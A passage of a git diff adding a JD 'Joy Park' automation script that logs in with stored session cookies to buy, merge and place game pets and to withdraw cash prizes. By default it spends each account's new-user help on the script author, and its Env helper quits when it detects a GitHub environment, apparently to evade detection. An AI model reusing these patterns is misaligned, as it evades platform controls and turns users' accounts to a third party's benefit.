require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar))} + + get(t, e = (() => {})){ + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => {!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i)})) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try{ + if(t.headers["set-cookie"]){ + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch(t){this.logErr(t)} + }).then(t => { + const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) + }, t => { + const { message: s, response: i } = t; + e(s, i, i && i.body) + })) + } + + post(t, e = (() => {})){ + if(t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => {!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i)}); else if(this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) + }, t => e(t)); else if(this.isNode()){ + this.initGotEnv(t); + const { url: s, ...i } = t; + this.got.post(s, i).then(t => { + const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) + }, t => { + const { message: s, response: i } = t; + e(s, i, i && i.body) + }) + } + } + + time(t, e = null){ + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for(let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + + msg(e = t, s = "", i = "", r){ + const o = t => { + if(!t) return t; + if("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; + if("object" == typeof t){ + if(this.isLoon()){ + let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; + return { openUrl: e, mediaUrl: s } + } + if(this.isQuanX()){ + let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; + return { "open-url": e, "media-url": s } + } + if(this.isSurge()){ + let e = t.url || t.openUrl || t["open-url"]; + return { url: e } + } + } + }; + if(this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog){ + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + + log(...t){t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator))} + + logErr(t, e){ + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + + wait(t){return new Promise(e => setTimeout(e, t))} + + done(t = {}){ + const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} diff --git a/jd_joy_park.js b/jd_joy_park.js new file mode 100644 index 0000000..8b20ee4 --- /dev/null +++ b/jd_joy_park.js @@ -0,0 +1,610 @@ +/* +ENV + +JOY_COIN_MAXIMIZE = 最大化硬币收益,如果合成后全部挖土后还有空位,则开启此模式(默认开启) 0关闭 1开启 + +请确保新用户助力过开工位,否则开启游戏了就不算新用户,后面就不能助力开工位了!!!!!!!!!! + +脚本会默认帮zero205助力开工位,如需关闭请添加变量,变量名:HELP_JOYPARK,变量值:false + +更新地址:https://github.com/Tsukasa007/my_script + +============Quantumultx=============== +[task_local] +#汪汪乐园养joy +20 0-23/3 * * * jd_joypark_joy.js, tag=汪汪乐园养joy, img-url=https://raw.githubusercontent.com/tsukasa007/icon/master/jd_joypark_joy.png, enabled=true + +================Loon============== +[Script] +cron "20 0-23/3 * * *" script-path=jd_joypark_joy.js,tag=汪汪乐园养joy + +===============Surge================= +汪汪乐园养joy = type=cron,cronexp="20 0-23/3 * * *",wake-system=1,timeout=3600,script-path=jd_joypark_joy.js + +============小火箭========= +汪汪乐园养joy = type=cron,script-path=jd_joypark_joy.js, cronexpr="20 0-23/3 * * *", timeout=3600, enable=true +*/ +const $ = new Env('汪汪乐园养joy'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let hot_flag = false +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +//最大化硬币收益模式 +$.JOY_COIN_MAXIMIZE = process.env.JOY_COIN_MAXIMIZE === '1' +$.log(`最大化收益模式: 已${$.JOY_COIN_MAXIMIZE ? `默认开启` : `关闭`} `) + +const JD_API_HOST = `https://api.m.jd.com/client.action`; +message = "" +!(async () => { + $.user_agent = require('./USER_AGENTS').USER_AGENT + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + if (process.env.JD_JOY_PARK && process.env.JD_JOY_PARK === 'false') { + console.log(`\n******检测到您设置了不运行汪汪乐园,停止运行此脚本******\n`) + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + //$.wait(50) + // if (process.env.JOYPARK_JOY_START && i == process.env.JOYPARK_JOY_START){ + // console.log(`\n汪汪乐园养joy 只运行 ${process.env.JOYPARK_JOY_START} 个Cookie\n`); + // break + // } + hot_flag = false + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.maxJoyCount = 10 + await TotalBean(); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if ($.isNode()) { + if (process.env.HELP_JOYPARK && process.env.HELP_JOYPARK == "false") { + } else { + await getShareCode() + if ($.kgw_invitePin && $.kgw_invitePin.length) { + $.log("开始帮【zero205】助力开工位\n"); + $.kgw_invitePin = [...($.kgw_invitePin || [])][Math.floor((Math.random() * $.kgw_invitePin.length))]; + let resp = await getJoyBaseInfo(undefined, 2, $.kgw_invitePin); + if (resp.helpState && resp.helpState === 1) { + $.log("帮【zero205】开工位成功,感谢!\n"); + } else if (resp.helpState && resp.helpState === 3) { + $.log("你不是新用户!跳过开工位助力\n"); + } else if (resp.helpState && resp.helpState === 2) { + $.log(`他的工位已全部开完啦!\n`); + } else { + $.log("开工位失败!\n"); + console.log(`${JSON.stringify(resp)}`) + } + } + } + } + //下地后还有有钱买Joy并且买了Joy + $.hasJoyCoin = true + await getJoyBaseInfo(undefined, undefined, undefined, true); + $.activityJoyList = [] + $.workJoyInfoList = [] + await getJoyList(true); + await getGameShopList() + //清理工位 + await doJoyMoveDownAll($.workJoyInfoList) + //从低合到高 + await doJoyMergeAll($.activityJoyList) + await getGameMyPrize() + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + + +async function getJoyBaseInfo(taskId = '', inviteType = '', inviterPin = '', printLog = false) { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"taskId":"${taskId}","inviteType":"${inviteType}","inviterPin":"${inviterPin}","linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `joyBaseInfo`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getJoyBaseInfo API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (printLog) { + $.log(`等级: ${data.data.level}|金币: ${data.data.joyCoin}`); + if (data.data.level >= 30 && $.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName || $.UserName}\n当前等级: ${data.data.level}\n已达到单次最高等级奖励\n请前往京东极速版APP查看使用优惠券\n活动入口:京东极速版APP->我的->汪汪乐园`); + $.log(`\n开始解锁新场景...\n`); + await doJoyRestart() + } + } + $.joyBaseInfo = data.data + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve($.joyBaseInfo); + } + }) + }) +} + +function getJoyList(printLog = false) { + //await $.wait(20) + return new Promise(resolve => { + $.get(taskGetClientActionUrl(`appid=activities_platform&body={"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}`, `joyList`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (printLog) { + $.log(`\n===== 【京东账号${$.index}】${$.nickName || $.UserName} joy 状态 start =====`) + $.log("在逛街的joy⬇️⬇️⬇️⬇️⬇️⬇️⬇️⬇️") + for (let i = 0; i < data.data.activityJoyList.length; i++) { + //$.wait(50); + $.log(`id:${data.data.activityJoyList[i].id}|name: ${data.data.activityJoyList[i].name}|level: ${data.data.activityJoyList[i].level}`); + if (data.data.activityJoyList[i].level >= 30 && $.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName || $.UserName}\n当前等级: ${data.data.level}\n已达到单次最高等级奖励\n请尽快前往活动查看领取\n活动入口:京东极速版APP->汪汪乐园\n更多脚本->"https://github.com/zero205/JD_tencent_scf"`); + $.log(`\n开始解锁新场景...\n`); + await doJoyRestart() + } + } + $.log("\n在铲土的joy⬇️⬇️⬇️⬇️⬇️⬇️⬇️⬇️") + for (let i = 0; i < data.data.workJoyInfoList.length; i++) { + //$.wait(50) + $.log(`工位: ${data.data.workJoyInfoList[i].location} [${data.data.workJoyInfoList[i].unlock ? `已开` : `未开`}]|joy= ${data.data.workJoyInfoList[i].joyDTO ? `id:${data.data.workJoyInfoList[i].joyDTO.id}|name: ${data.data.workJoyInfoList[i].joyDTO.name}|level: ${data.data.workJoyInfoList[i].joyDTO.level}` : `毛都没有`}`) + } + $.log(`===== 【京东账号${$.index}】${$.nickName || $.UserName} joy 状态 end =====\n`) + } + $.activityJoyList = data.data.activityJoyList + $.workJoyInfoList = data.data.workJoyInfoList + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} + +function getGameShopList() { + //await $.wait(20) + return new Promise(resolve => { + $.get(taskGetClientActionUrl(`appid=activities_platform&body={"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}`, `gameShopList`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + //排除不能购买的 + data = JSON.parse(data).data.filter(row => row.shopStatus === 1); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function doJoyMoveUpAll(activityJoyList, workJoyInfoList) { + let workJoyInfoUnlockList = workJoyInfoList.filter(row => row.unlock && row.joyDTO === null) + if (activityJoyList.length !== 0 && workJoyInfoUnlockList.length !== 0) { + let maxLevelJoy = Math.max.apply(Math, activityJoyList.map(o => o.level)) + let maxLevelJoyList = activityJoyList.filter(row => row.level === maxLevelJoy) + $.log(`下地干活! joyId= ${maxLevelJoyList[0].id} location= ${workJoyInfoUnlockList[0].location}`) + await doJoyMove(maxLevelJoyList[0].id, workJoyInfoUnlockList[0].location) + await getJoyList() + await doJoyMoveUpAll($.activityJoyList, $.workJoyInfoList) + } + else if ($.JOY_COIN_MAXIMIZE) { + await joyCoinMaximize(workJoyInfoUnlockList) + } + +} + +async function joyCoinMaximize(workJoyInfoUnlockList) { + if (workJoyInfoUnlockList.length !== 0 && $.hasJoyCoin) { + $.log(`竟然还有工位挖土?开启瞎买瞎下地模式!`); + let joyBaseInfo = await getJoyBaseInfo() + let joyCoin = joyBaseInfo.joyCoin + $.log(`还有${joyCoin}金币,看看还能买啥下地`) + let shopList = await getGameShopList() + let newBuyCount = false; + for (let i = shopList.length - 1; i >= 0 && i - 3 >= 0; i--) { //向下买3级 + if (joyCoin > shopList[i].consume) { + $.log(`买一只 ${shopList[i].userLevel}级的!`); + joyCoin = joyCoin - shopList[i].consume; + let buyResp = await doJoyBuy(shopList[i].userLevel); + if (!buyResp.success) { + break; + } else { + newBuyCount = true + $.hasJoyCoin = false + i++ + } + } + } + $.hasJoyCoin = false + if (newBuyCount) { + await getJoyList() + await doJoyMoveUpAll($.activityJoyList, $.workJoyInfoList) + await getJoyBaseInfo(); + } + } +} + +async function doJoyMoveDownAll(workJoyInfoList) { + if (workJoyInfoList.filter(row => row.joyDTO).length === 0) { + $.log(`工位清理完成!`) + return true + } + for (let i = 0; i < workJoyInfoList.length; i++) { + //$.wait(50) + if (workJoyInfoList[i].unlock && workJoyInfoList[i].joyDTO) { + $.log(`从工位移除 => id:${workJoyInfoList[i].joyDTO.id}|name: ${workJoyInfoList[i].joyDTO.name}|level: ${workJoyInfoList[i].joyDTO.level}`) + await doJoyMove(workJoyInfoList[i].joyDTO.id, 0) + } + } + //check + await getJoyList() + await doJoyMoveDownAll($.workJoyInfoList) +} + +async function doJoyMergeAll(activityJoyList) { + let minLevel = Math.min.apply(Math, activityJoyList.map(o => o.level)) + let joyMinLevelArr = activityJoyList.filter(row => row.level === minLevel); + let joyBaseInfo = await getJoyBaseInfo() + let fastBuyLevel = joyBaseInfo.fastBuyLevel + if (joyMinLevelArr.length >= 2) { + $.log(`开始合成 ${minLevel} ${joyMinLevelArr[0].id} <=> ${joyMinLevelArr[1].id} 【限流严重,5秒后合成!如失败会重试】`); + await $.wait(5000) + await doJoyMerge(joyMinLevelArr[0].id, joyMinLevelArr[1].id); + if (hot_flag) { + return + } + await getJoyList() + await doJoyMergeAll($.activityJoyList) + } else if (joyMinLevelArr.length === 1 && joyMinLevelArr[0].level < fastBuyLevel) { + let buyResp = await doJoyBuy(joyMinLevelArr[0].level, $.activityJoyList); + if (buyResp.success) { + await getJoyList(); + await doJoyMergeAll($.activityJoyList); + } else { + $.log("完成!") + await doJoyMoveUpAll($.activityJoyList, $.workJoyInfoList) + } + } else { + $.log(`没有需要合成的joy 开始买买买🛒🛒🛒🛒🛒🛒🛒🛒`) + $.log(`现在最高可以购买: ${fastBuyLevel} 购买 ${fastBuyLevel} 的joy 你还有${joyBaseInfo.joyCoin}金币`) + let buyResp = await doJoyBuy(fastBuyLevel, $.activityJoyList); + if (buyResp.success) { + await getJoyList(); + await doJoyMergeAll($.activityJoyList); + } else { + $.log("完成!") + await doJoyMoveUpAll($.activityJoyList, $.workJoyInfoList) + } + } +} + +function doJoyMove(joyId, location) { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskGetClientActionUrl(`body={"joyId":${joyId},"location":${location},"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `joyMove`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (location !== 0) { + $.log(`下地完成了!`); + } + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} + +function doJoyMerge(joyId1, joyId2) { + //await $.wait(20) + return new Promise(resolve => { + $.get(taskGetClientActionUrl(`body={"joyOneId":${joyId1},"joyTwoId":${joyId2},"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `joyMergeGet`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + data = {} + } else { + data = JSON.parse(data); + $.log(`合成 ${joyId1} <=> ${joyId2} ${data.success ? `成功!` : `失败!【${data.errMsg}】 code=${data.code}`}`) + // if (data.code == '1006') { + // hot_flag = true + // } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} + +async function doJoyBuy(level, activityJoyList) { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"level":${level},"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `joyBuy`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + let codeMsg = '【不知道啥意思】' + switch (data.code) { + case 519: + codeMsg = '【没钱了】'; + break + case 518: + codeMsg = '【没空位】'; + if (activityJoyList) {//正常买模式 + $.log(`因为购买 ${level}级🐶 没空位 所以我要删掉比低级的狗了`); + let minLevel = Math.min.apply(Math, activityJoyList.map(o => o.level)) + await doJoyRecovery(activityJoyList.filter(row => row.level === minLevel)[0].id); + } + break + case 0: + codeMsg = '【OK】'; + break + } + + $.log(`购买joy level: ${level} ${data.success ? `成功!` : `失败!${data.errMsg} code=${data.code}`} code的意思是=${codeMsg}`) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function doJoyRecovery(joyId) { + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"joyId":${joyId},"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `joyRecovery`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + data = {} + } else { + data = JSON.parse(data); + $.log(`回收🐶 ${data.success ? `成功!` : `失败!【${data.errMsg}】 code=${data.code}`}`) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function doJoyRestart() { + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `joyRestart`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.log(`新场景解锁 ${data.success ? `成功!` : `失败!【${data.errMsg}】 code=${data.code}`}`) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getGameMyPrize() { + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `gameMyPrize`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.success && data.data) { + $.Vos = data.data.gamePrizeItemVos + for (let i = 0; i < $.Vos.length; i++) { + if ($.Vos[i].prizeType == 4 && $.Vos[i].status == 1 && $.Vos[i].prizeTypeVO.prizeUsed == 0) { + $.log(`\n当前账号有【${$.Vos[i].prizeName}】可提现`) + $.id = $.Vos[i].prizeTypeVO.id + $.poolBaseId = $.Vos[i].prizeTypeVO.poolBaseId + $.prizeGroupId = $.Vos[i].prizeTypeVO.prizeGroupId + $.prizeBaseId = $.Vos[i].prizeTypeVO.prizeBaseId + await apCashWithDraw($.id, $.poolBaseId, $.prizeGroupId, $.prizeBaseId) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function apCashWithDraw(id, poolBaseId, prizeGroupId, prizeBaseId) { + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"businessSource":"JOY_PARK","base":{"id":${id},"business":"joyPark","poolBaseId":${poolBaseId},"prizeGroupId":${prizeGroupId},"prizeBaseId":${prizeBaseId},"prizeType":4},"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&_t=${+new Date()}&appid=activities_platform`, `apCashWithDraw`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.success && data.data) { + console.log(`提现结果:${JSON.stringify(data)}`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getShareCode() { + return new Promise(resolve => { + $.get({ + url: "https://raw.fastgit.org/zero205/updateTeam/main/shareCodes/joypark.json", + headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + $.kgw_invitePin = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskPostClientActionUrl(body, functionId) { + return { + url: `https://api.m.jd.com/client.action?${functionId ? `functionId=${functionId}` : ``}`, + body: body, + headers: { + 'User-Agent': $.user_agent, + 'Content-Type': 'application/x-www-form-urlencoded', + 'Host': 'api.m.jd.com', + 'Origin': 'https://joypark.jd.com', + 'Referer': 'https://joypark.jd.com/?activityId=LsQNxL7iWDlXUs6cFl-AAg&lng=113.387899&lat=22.512678&sid=4d76080a9da10fbb31f5cd43396ed6cw&un_area=19_1657_52093_0', + 'Cookie': cookie, + } + } +} + +function taskGetClientActionUrl(body, functionId) { + return { + url: `https://api.m.jd.com/client.action?functionId=${functionId}${body ? `&${body}` : ``}`, + // body: body, + headers: { + 'User-Agent': $.user_agent, + 'Content-Type': 'application/x-www-form-urlencoded', + 'Host': 'api.m.jd.com', + 'Origin': 'https://joypark.jd.com', + 'Referer': 'https://joypark.jd.com/?activityId=LsQNxL7iWDlXUs6cFl-AAg&lng=113.388006&lat=22.512549&sid=4d76080a9da10fbb31f5cd43396ed6cw&un_area=19_1657_52093_0', + 'Cookie': cookie, + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1" + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = 